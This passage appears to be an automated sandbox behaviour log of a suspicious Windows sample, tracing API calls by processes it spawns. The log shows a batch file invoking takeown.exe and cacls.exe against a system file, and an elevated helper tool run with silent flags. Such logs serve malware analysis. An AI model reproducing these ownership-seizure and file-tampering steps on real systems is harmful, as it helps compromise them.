File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 32	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 7	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 53	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 1	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 12	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 38	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Process	Create	process_name = cmd.exe	1	Fn

Process #130: cmd.exe

300

0

»

Information	Value
ID	#130
File Name	c:\windows\syswow64\cmd.exe
Command Line	C:\WINDOWS\system32\cmd.exe /c ""C:\Users\FD1HVy\Desktop\c7356Qly.bat" "C:\Program Files\Windows Mail\en-US\WinMail.exe.mui""
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:07, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:01:18

OS Process Information

»

Information	Value
PID	0xd64
Parent PID	0xfc8 (c:\users\fd1hvy\desktop\m.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x B84 0x 4A0

Threads

Thread 0xb84

300

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 0, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT	1	Fn
Environment	Set Environment String	name = PROMPT, value = $P$G	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
File	Get Info	filename = "C:\Users\FD1HVy\Desktop\c7356Qly.bat", type = file_attributes	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 226	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = USERNAME, result_out = FD1HVy	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 5	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 73	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\cacls.exe, os_pid = 0x11b0, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 194	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 7	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 58	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
Process	Create	process_name = C:\WINDOWS\system32\takeown.exe, os_pid = 0x11f8, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL	1	Fn
Environment	Set Environment String	name = COPYCMD	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCode, value = 00000000	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Set Environment String	name = =ExitCodeAscii	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 179	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 22	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Set Environment String	name = FN, value = "WinMail.exe.mui"	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 163	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 31	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\c7356Qly.bat, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	2	Fn
File	Read	size = 8191, size_out = 148	1	Fn Data
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
Environment	Get Environment String	name = FN, result_out = "WinMail.exe.mui"	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Environment	Get Environment String	name = PROMPT, result_out = $P$G	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 24	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 3	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 32	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 7	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 60	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 1	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 12	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 38	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 2	1	Fn Data
Process	Create	process_name = cmd.exe	1	Fn

Process #132: mxkefu6a.exe

177

0

»

Information	Value
ID	#132
File Name	c:\users\fd1hvy\desktop\mxkefu6a.exe
Command Line	mxkeFu6a.exe -accepteula -c Run -y -p extract -nobanner
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:03:08, Reason: Child Process
Unmonitor	End Time: 00:03:16, Reason: Self Terminated
Monitor Duration	00:00:07

OS Process Information

»

Information	Value
PID	0xef4
Parent PID	0x13cc (c:\windows\syswow64\cmd.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x E40 0x CBC

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	Actions
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x004080C0	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040AE73	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040579A	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040B435	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00409AC9	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040608C	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040DEC6	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00410AB1	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00412434	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x00416A09, 0x00415F2F, ...	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x004048D4	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x0040C3C0, 0x004112CE	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Content Changed	-	32-bit	0x004020F0	... Region Actions Download Dump
mxkefu6a.exe	0x00400000	0x00476FFF	Process Termination	-	32-bit	-	... Region Actions Download Dump

Threads

Thread 0xe40

177

0

»

Category	Operation	Information	Count	Logfile
Module	Load	module_name = KERNEL32.DLL, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetEvent, address_out = 0x75efec50	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WaitForSingleObject, address_out = 0x75efeca0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DeviceIoControl, address_out = 0x75ea1170	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DuplicateHandle, address_out = 0x75efeac0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FormatMessageW, address_out = 0x75ea4be0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateEventW, address_out = 0x75efeb30	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateProcessW, address_out = 0x75ea4610	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = ExpandEnvironmentStringsW, address_out = 0x75ea4a40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetDriveTypeW, address_out = 0x75efeed0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetSystemDirectoryW, address_out = 0x75ea5490	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = DeleteFileW, address_out = 0x75efed40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadErrorMode, address_out = 0x75ea6520	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = HeapSize, address_out = 0x77c0a790	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LCMapStringW, address_out = 0x75ea5a60	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetStringTypeW, address_out = 0x75ea53b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = TerminateThread, address_out = 0x75ea6800	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = OpenProcess, address_out = 0x75ea5cc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetVersion, address_out = 0x75ea56c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CreateFileW, address_out = 0x75efed10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = FindResourceW, address_out = 0x75ea4aa0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SizeofResource, address_out = 0x75ea6740	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CloseHandle, address_out = 0x75efeab0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetLastError, address_out = 0x75ea4f00	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LoadResource, address_out = 0x75ea5b00	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetLastError, address_out = 0x75ea5010	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCurrentProcess, address_out = 0x75efea10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LockResource, address_out = 0x75ea5bc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetCommandLineW, address_out = 0x75ea4cc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetModuleHandleW, address_out = 0x75ea50d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LoadLibraryW, address_out = 0x75ea5ae0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetStdHandle, address_out = 0x75ea5330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LocalFree, address_out = 0x75ea5b40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = LocalAlloc, address_out = 0x75ea5b20	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetProcAddress, address_out = 0x75ea51b0	1	Fn
